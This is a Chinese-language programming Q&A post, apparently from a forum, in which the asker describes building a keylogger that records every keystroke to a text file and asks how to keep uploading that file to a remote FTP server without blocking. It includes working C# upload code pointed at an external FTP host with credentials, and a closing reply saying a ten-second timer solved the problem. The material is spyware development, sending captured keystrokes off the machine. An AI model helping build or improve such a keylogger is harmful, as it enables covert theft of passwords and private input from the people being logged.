控制台应用程序- FTP上传停止执行

本文关键字:执行 应用程序 FTP 控制台 | 更新日期: 2023-09-27 17:53:43

我目前正在研究一个键盘记录器,它将用户输入保存为文本文档。每次用户按下一个按钮,文档都会更新。

我希望FTP不断更新服务器上的文本文档。问题是,每次上传文本文档时,它都会停止,直到上传完成,然后继续记录。

我想知道怎样才能防止这种情况的发生。我在某个地方读到有一种方法可以通过使用ASYNC函数或类似的东西来做到这一点,但我不知道它在哪里。

我将非常感谢任何帮助。这是我创建的FTP代码。
private static void ftp(String name)
{
    FtpWebRequest request = (FtpWebRequest)FtpWebRequest.Create(
        "ftp://ftp.drivehq.com/test.txt");
    request.Method = WebRequestMethods.Ftp.UploadFile;
    request.Credentials = new NetworkCredential(username, pass);
    request.UsePassive = true;
    request.UseBinary = true;
    request.KeepAlive = false;
    FileStream stream = File.OpenRead(name);
    byte[] data = new byte[stream.Length];
    stream.Read(data, 0, data.Length);
    stream.Close();
    Stream reqStream = request.GetRequestStream();
    reqStream.Write(data, 0, data.Length);
    reqStream.Close();
}

控制台应用程序- FTP上传停止执行

我设法找到了解决它的方法。我只是使用计时器,每10秒上传一次。问题不在于FTP中断执行,而是FTP使程序不断上传。

如我所说。计时器修复了它